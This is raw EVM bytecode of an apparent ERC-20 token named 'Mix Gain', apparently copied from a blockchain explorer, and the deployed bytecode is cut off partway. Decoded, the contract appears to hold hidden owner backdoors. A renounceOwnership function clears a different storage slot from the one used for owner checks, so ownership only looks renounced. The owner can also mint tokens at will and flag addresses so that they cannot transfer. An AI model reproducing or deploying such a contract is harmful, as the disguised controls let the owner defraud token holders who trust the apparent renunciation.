11e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e71906137ad565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611f81611ecb61294b565b84611f7c8560405180606001604052806025815260200161405b6025913960016000611ef561294b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e949092919063ffffffff16565b612953565b6001905092915050565b60115481565b601460039054906101000a900460ff1681565b6000611fb8611fb161294b565b8484612b1e565b6001905092915050565b611fca61294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612059576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612050906137ad565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60296020528060005260406000206000915054906101000a900460ff1681565b601460019054906101000a900460ff1681565b61215461294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121da906137ad565b60405180910390fd5b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161228091906133b3565b60405180910390a25050565b61229461294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612323576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231a906137ad565b60405180910390fd5b633b9aca006103e86005612335610ec7565b61233f91906137fc565b6123499190613885565b6123539190613885565b811015612395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238c90613ba0565b60405180910390fd5b633b9aca00816123a591906137fc565b600d8190555050565b601860009054906101000a900460ff1681565b60195481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600061245e61294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e4906137ad565b60405180910390fd5b6000601860006101000a81548160ff0219169083151502179055506001905090565b601b5481565b600061251f61294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a5906137ad565b60405180910390fd5b6001601460006101000a81548160ff0219169083151502179055506001905090565b601f5481565b60006125e061294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461266f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612666906137ad565b60405180910390fd5b60125460135461267f9190613a6c565b42116126c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b790613c0c565b60405180910390fd5b6103e8821115612705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fc90613c9e565b60405180910390fd5b42601381905550600080612736612710612728868561312190919063ffffffff16565b6128a390919063ffffffff16565b9050600081111561276e577f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb60405160405180910390a15b600192505050919050565b61278161294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612810576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612807906137ad565b60405180910390fd5b84601e8190555083601f81905550826020819055508160218190555080602281905550602054601f54601e546128469190613a6c565b6128509190613a6c565b601d819055506019601d54111561289c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289390613d0a565b60405180910390fd5b5050505050565b60006128e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061319c565b905092915050565b60008082846128fc9190613a6c565b905083811015612941576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293890613d76565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156129c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ba90613e08565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2a90613e9a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612b11919061340a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8590613ee0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf590613ee0565b60405180910390fd5b601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c9f5750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ce85760008114612ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cde90613ee0565b60405180910390fd5b5b612cf38383836131ff565b612d5581604051806020016040528060008152506000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e949092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de8816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ed90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e87919061340a565b60405180910390a3505050565b6000838311158290612edc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed3919061329d565b60405180910390fd5b5060008385612eeb9190613f00565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f5f90613f80565b60405180910390fd5b612fb9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ed90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613010816002546128ed90919063ffffffff16565b6002819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613074919061340a565b60405180910390a35050565b80602960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000808314156131345760009050613196565b6000828461314291906137fc565b90508284826131519190613885565b14613191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161318890614012565b60405180910390fd5b809150505b92915050565b600080831182906131e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131da919061329d565b60405180910390fd5b50600083856131f29190613885565b9050809150509392505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561323e578082015181840152602081019050613223565b8381111561324d576000848401525b50505050565b6000601f19601f8301169050919050565b600061326f82613204565b613279818561320f565b9350613289818560208601613220565b61329281613253565b840191505092915050565b600060208201905081810360008301526132b78184613264565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006132ef826132c4565b9050919050565b6132ff816132e4565b811461330a57600080fd5b50565b60008135905061331c816132f6565b92915050565b6000819050919050565b61333581613322565b811461334057600080fd5b50565b6000813590506133528161332c565b92915050565b6000806040838503121561336f5761336e6132bf565b5b600061337d8582860161330d565b925050602061338e85828601613343565b9150509250929050565b60008115159050919050565b6133ad81613398565b82525050565b60006020820190506133c860008301846133a4565b92915050565b6000602082840312156133e4576133e36132bf565b5b60006133f28482850161330d565b91505092915050565b61340481613322565b82525050565b600060208201905061341f60008301846133fb565b92915050565b60006020828403121561343b5761343a6132bf565b5b600061344984828501613343565b91505092915050565b60008060006060848603121561346b5761346a6132bf565b5b60006134798682870161330d565b935050602061348a8682870161330d565b925050604061349b86828701613343565b9150509250925092565b600060ff82169050919050565b6134bb816134a5565b82525050565b60006020820190506134d660008301846134b2565b92915050565b6134e5816132e4565b82525050565b600060208201905061350060008301846134dc565b92915050565b61350f81613398565b811461351a57600080fd5b50565b60008135905061352c81613506565b92915050565b60008060006060848603121561354b5761354a6132bf565b5b600061355986828701613343565b935050602061356a86828701613343565b925050604061357b8682870161351d565b9150509250925092565b6000806040838503121561359c5761359b6132bf565b5b60006135aa8582860161330d565b92505060206135bb8582860161351d565b9150509250929050565b6000806000606084860312156135de576135dd6132bf565b5b60006135ec86828701613343565b93505060206135fd86828701613343565b925050604061360e86828701613343565b9150509250925092565b60006020828403121561362e5761362d6132bf565b5b600061363c8482850161351d565b91505092915050565b6000806040838503121561365c5761365b6132bf565b5b600061366a8582860161330d565b925050602061367b8582860161330d565b9150509250929050565b600080600080600060a086880312156136a1576136a06132bf565b5b60006136af88828901613343565b95505060206136c088828901613343565b94505060406136d188828901613343565b93505060606136e288828901613343565b92505060806136f388828901613343565b9150509295509295909350565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061374757607f821691505b6020821081141561375b5761375a613700565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061379760208361320f565b91506137a282613761565b602082019050919050565b600060208201905081810360008301526137c68161378a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061380782613322565b915061381283613322565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561384b5761384a6137cd565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061389082613322565b915061389b83613322565b9250826138ab576138aa613856565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000613912602f8361320f565b915061391d826138b6565b604082019050919050565b6000602082019050818103600083015261394181613905565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b60006139a460338361320f565b91506139af82613948565b604082019050919050565b600060208201905081810360008301526139d381613997565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000613a3660308361320f565b9150613a41826139da565b604082019050919050565b60006020820190508181036000830152613a6581613a29565b9050919050565b6000613a7782613322565b9150613a8283613322565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613ab757613ab66137cd565b5b828201905092915050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b6000613af8601d8361320f565b9150613b0382613ac2565b602082019050919050565b60006020820190508181036000830152613b2781613aeb565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613b8a60248361320f565b9150613b9582613b2e565b604082019050919050565b60006020820190508181036000830152613bb981613b7d565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000613bf660208361320f565b9150613c0182613bc0565b602082019050919050565b60006020820190508181036000830152613c2581613be9565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000613c88602a8361320f565b9150613c9382613c2c565b604082019050919050565b60006020820190508181036000830152613cb781613c7b565b9050919050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000613cf4601d8361320f565b9150613cff82613cbe565b602082019050919050565b60006020820190508181036000830152613d2381613ce7565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d60601b8361320f565b9150613d6b82613d2a565b602082019050919050565b60006020820190508181036000830152613d8f81613d53565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613df260248361320f565b9150613dfd82613d96565b604082019050919050565b60006020820190508181036000830152613e2181613de5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e8460228361320f565b9150613e8f82613e28565b604082019050919050565b60006020820190508181036000830152613eb381613e77565b9050919050565b50565b6000613eca60008361320f565b9150613ed582613eba565b600082019050919050565b60006020820190508181036000830152613ef981613ebd565b9050919050565b6000613f0b82613322565b9150613f1683613322565b925082821015613f2957613f286137cd565b5b828203905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613f6a601f8361320f565b9150613f7582613f34565b602082019050919050565b60006020820190508181036000830152613f9981613f5d565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ffc60218361320f565b915061400782613fa0565b604082019050919050565b6000602082019050818103600083015261402b81613fef565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e65c6431f07c8f8ce6fa599a9dac771b369e534497c64ba2126828cfa844ce3e64736f6c63430008090033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000000000084d6978204761696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074d69784761696e00000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106103855760003560e01c80638095d564116101d1578063aacebbe311610102578063dd62ed3e116100a0578063f5ed24301161006f578063f5ed243014610d3b578063f637434214610d66578063fe72b27a14610d91578063ff935af614610dce5761038c565b8063dd62ed3e14610c7d578063e2f4560514610cba578063e884f26014610ce5578063f11a24d314610d105761038c565b8063c0246668116100dc578063c024666814610bd5578063c18bc19514610bfe578063c876d0b914610c27578063d85ba06314610c525761038c565b8063aacebbe314610b44578063b62496f514610b6d578063bbc0c74214610baa5761038c565b8063a0d82dc51161016f578063a457c2d711610149578063a457c2d714610a74578063a4c82a0014610ab1578063a4d15b6414610adc578063a9059cbb14610b075761038c565b8063a0d82dc5146109f7578063a265777814610a22578063a456f9a414610a4b5761038c565b806395d89b41116101ab57806395d89b411461094d5780639a7a23d6146109785780639c3b4fdc146109a15780639ec22c0e146109cc5761038c565b80638095d564146108ce5780638f84aa09146108f757806392136913146109225761038c565b80634a62bb65116102b65780636ddd171311610254578063730c188811610223578063730c188814610826578063751039fc1461084f5780637571336a1461087a5780637bce5a04146108a35761038c565b80636ddd17131461077c57806370a08231146107a757806370d5ae05146107e4578063715018a61461080f5761038c565b8063541a43cf11610290578063541a43cf146106d4578063549f3295146106ff5780636a486a8e146107285780636bd89cdd146107535761038c565b80634a62bb65146106435780634f807d261461066e5780634fbee193146106975761038c565b806323b872dd116103235780632e82f1a0116102fd5780632e82f1a014610573578063313ce5671461059e57806339509351146105c957806343b547ee146106065761038c565b806323b872dd146104e05780632bf3d42d1461051d5780632c3e486c146105485761038c565b806318160ddd1161035f57806318160ddd14610436578063184c16c514610461578063199ffc721461048c578063203e727e146104b75761038c565b806306fdde0314610391578063095ea7b3146103bc57806310d5de53146103f95761038c565b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610df7565b6040516103b3919061329d565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190613358565b610e89565b6040516103f091906133b3565b60405180910390f35b34801561040557600080fd5b50610420600480360381019061041b91906133ce565b610ea7565b60405161042d91906133b3565b60405180910390f35b34801561044257600080fd5b5061044b610ec7565b604051610458919061340a565b60405180910390f35b34801561046d57600080fd5b50610476610ed1565b604051610483919061340a565b60405180910390f35b34801561049857600080fd5b506104a1610ed7565b6040516104ae919061340a565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d99190613425565b610edd565b005b3480156104ec57600080fd5b5061050760048036038101906105029190613452565b610fff565b60405161051491906133b3565b60405180910390f35b34801561052957600080fd5b506105326110d8565b60405161053f919061340a565b60405180910390f35b34801561055457600080fd5b5061055d6110de565b60405161056a919061340a565b60405180910390f35b34801561057f57600080fd5b506105886110e4565b60405161059591906133b3565b60405180910390f35b3480156105aa57600080fd5b506105b36110f7565b6040516105c091906134c1565b60405180910390f35b3480156105d557600080fd5b506105f060048036038101906105eb9190613358565b61110e565b6040516105fd91906133b3565b60405180910390f35b34801561061257600080fd5b5061062d600480360381019061062891906133ce565b6111c1565b60405161063a91906133b3565b60405180910390f35b34801561064f57600080fd5b50610658611217565b60405161066591906133b3565b60405180910390f35b34801561067a57600080fd5b5061069560048036038101906106909190613358565b61122a565b005b3480156106a357600080fd5b506106be60048036038101906106b991906133ce565b6112cf565b6040516106cb91906133b3565b60405180910390f35b3480156106e057600080fd5b506106e9611325565b6040516106f6919061340a565b60405180910390f35b34801561070b57600080fd5b50610726600480360381019061072191906133ce565b61132b565b005b34801561073457600080fd5b5061073d6114d4565b60405161074a919061340a565b60405180910390f35b34801561075f57600080fd5b5061077a600480360381019061077591906133ce565b6114da565b005b34801561078857600080fd5b506107916115b5565b60405161079e91906133b3565b60405180910390f35b3480156107b357600080fd5b506107ce60048036038101906107c991906133ce565b6115c8565b6040516107db919061340a565b60405180910390f35b3480156107f057600080fd5b506107f9611610565b60405161080691906134eb565b60405180910390f35b34801561081b57600080fd5b50610824611636565b005b34801561083257600080fd5b5061084d60048036038101906108489190613532565b61178e565b005b34801561085b57600080fd5b506108646118e9565b60405161087191906133b3565b60405180910390f35b34801561088657600080fd5b506108a1600480360381019061089c9190613585565b6119a4565b005b3480156108af57600080fd5b506108b8611a96565b6040516108c5919061340a565b60405180910390f35b3480156108da57600080fd5b506108f560048036038101906108f091906135c5565b611a9c565b005b34801561090357600080fd5b5061090c611bb6565b60405161091991906134eb565b60405180910390f35b34801561092e57600080fd5b50610937611be0565b604051610944919061340a565b60405180910390f35b34801561095957600080fd5b50610962611be6565b60405161096f919061329d565b60405180910390f35b34801561098457600080fd5b5061099f600480360381019061099a9190613585565b611c78565b005b3480156109ad57600080fd5b506109b6611d1d565b6040516109c3919061340a565b60405180910390f35b3480156109d857600080fd5b506109e1611d23565b6040516109ee919061340a565b60405180910390f35b348015610a0357600080fd5b50610a0c611d29565b604051610a19919061340a565b60405180910390f35b348015610a2e57600080fd5b50610a496004803603810190610a449190613618565b611d2f565b005b348015610a5757600080fd5b50610a726004803603810190610a6d91906133ce565b611de3565b005b348015610a8057600080fd5b50610a9b6004803603810190610a969190613358565b611ebe565b604051610aa891906133b3565b60405180910390f35b348015610abd57600080fd5b50610ac6611f8b565b604051610ad3919061340a565b60405180910390f35b348015610ae857600080fd5b50610af1611f91565b604051610afe91906133b3565b60405180910390f35b348015610b1357600080fd5b50610b2e6004803603810190610b299190613358565b611fa4565b604051610b3b91906133b3565b60405180910390f35b348015610b5057600080fd5b50610b6b6004803603810190610b6691906133ce565b611fc2565b005b348015610b7957600080fd5b50610b946004803603810190610b8f91906133ce565b612119565b604051610ba191906133b3565b60405180910390f35b348015610bb657600080fd5b50610bbf612139565b604051610bcc91906133b3565b60405180910390f35b348015610be157600080fd5b50610bfc6004803603810190610bf79190613585565b61214c565b005b348015610c0a57600080fd5b50610c256004803603810190610c209190613425565b61228c565b005b348015610c3357600080fd5b50610c3c6123ae565b604051610c4991906133b3565b60405180910390f35b348015610c5e57600080fd5b50610c676123c1565b604051610c74919061340a565b60405180910390f35b348015610c8957600080fd5b50610ca46004803603810190610c9f9190613645565b6123c7565b604051610cb1919061340a565b60405180910390f35b348015610cc657600080fd5b50610ccf61244e565b604051610cdc919061340a565b60405180910390f35b348015610cf157600080fd5b50610cfa612454565b604051610d0791906133b3565b60405180910390f35b348015610d1c57600080fd5b50610d2561250f565b604051610d32919061340a565b60405180910390f35b348015610d4757600080fd5b50610d50612515565b604051610d5d91906133b3565b60405180910390f35b348015610d7257600080fd5b50610d7b6125d0565b604051610d88919061340a565b60405180910390f35b348015610d9d57600080fd5b50610db86004803603810190610db39190613425565b6125d6565b604051610dc591906133b3565b60405180910390f35b348015610dda57600080fd5b50610df56004803603810190610df09190613685565b612779565b005b606060038054610e069061372f565b80601f0160208091040260200160405190810160405280929190818152602001828054610e329061372f565b8015610e7f5780601f10610e5457610100808354040283529160200191610e7f565b820191906000526020600020905b815481529060010190602001808311610e6257829003601f168201915b5050505050905090565b6000610e9d610e9661294b565b8484612953565b6001905092915050565b60286020528060005260406000206000915054906101000a900460ff1681565b6000600254905090565b60125481565b600e5481565b610ee561294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6b906137ad565b60405180910390fd5b633b9aca006103e86001610f86610ec7565b610f9091906137fc565b610f9a9190613885565b610fa49190613885565b811015610fe6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdd90613928565b60405180910390fd5b633b9aca0081610ff691906137fc565b600b8190555050565b600061100c848484612b1e565b6110cd8461101861294b565b6110c88560405180606001604052806028815260200161403360289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061107e61294b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e949092919063ffffffff16565b612953565b600190509392505050565b60225481565b60105481565b600f60009054906101000a900460ff1681565b6000600560009054906101000a900460ff16905090565b60006111b761111b61294b565b846111b2856001600061112c61294b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ed90919063ffffffff16565b612953565b6001905092915050565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601460009054906101000a900460ff1681565b61123261294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b8906137ad565b60405180910390fd5b6112cb8282612ef8565b5050565b6000602760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60215481565b61133361294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b9906137ad565b60405180910390fd5b60001515601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611478576001601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506114d1565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b601d5481565b6114e261294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611571576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611568906137ad565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601460029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61163e61294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c4906137ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61179661294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c906137ad565b60405180910390fd5b61025883101561186a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611861906139ba565b60405180910390fd5b6103e8821115801561187d575060008210155b6118bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b390613a4c565b60405180910390fd5b8260108190555081600e8190555080600f60006101000a81548160ff021916908315150217905550505050565b60006118f361294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611982576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611979906137ad565b60405180910390fd5b6000601460006101000a81548160ff0219169083151502179055506001905090565b6119ac61294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906137ad565b60405180910390fd5b80602860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601a5481565b611aa461294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2a906137ad565b60405180910390fd5b82601a8190555081601b8190555080601c81905550601c54601b54601a54611b5b9190613a6c565b611b659190613a6c565b60198190555060146019541115611bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba890613b0e565b60405180910390fd5b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601e5481565b606060048054611bf59061372f565b80601f0160208091040260200160405190810160405280929190818152602001828054611c219061372f565b8015611c6e5780601f10611c4357610100808354040283529160200191611c6e565b820191906000526020600020905b815481529060010190602001808311611c5157829003601f168201915b5050505050905090565b611c8061294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d06906137ad565b60405180910390fd5b611d198282613080565b5050565b601c5481565b60135481565b60205481565b611d3761294b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbd906137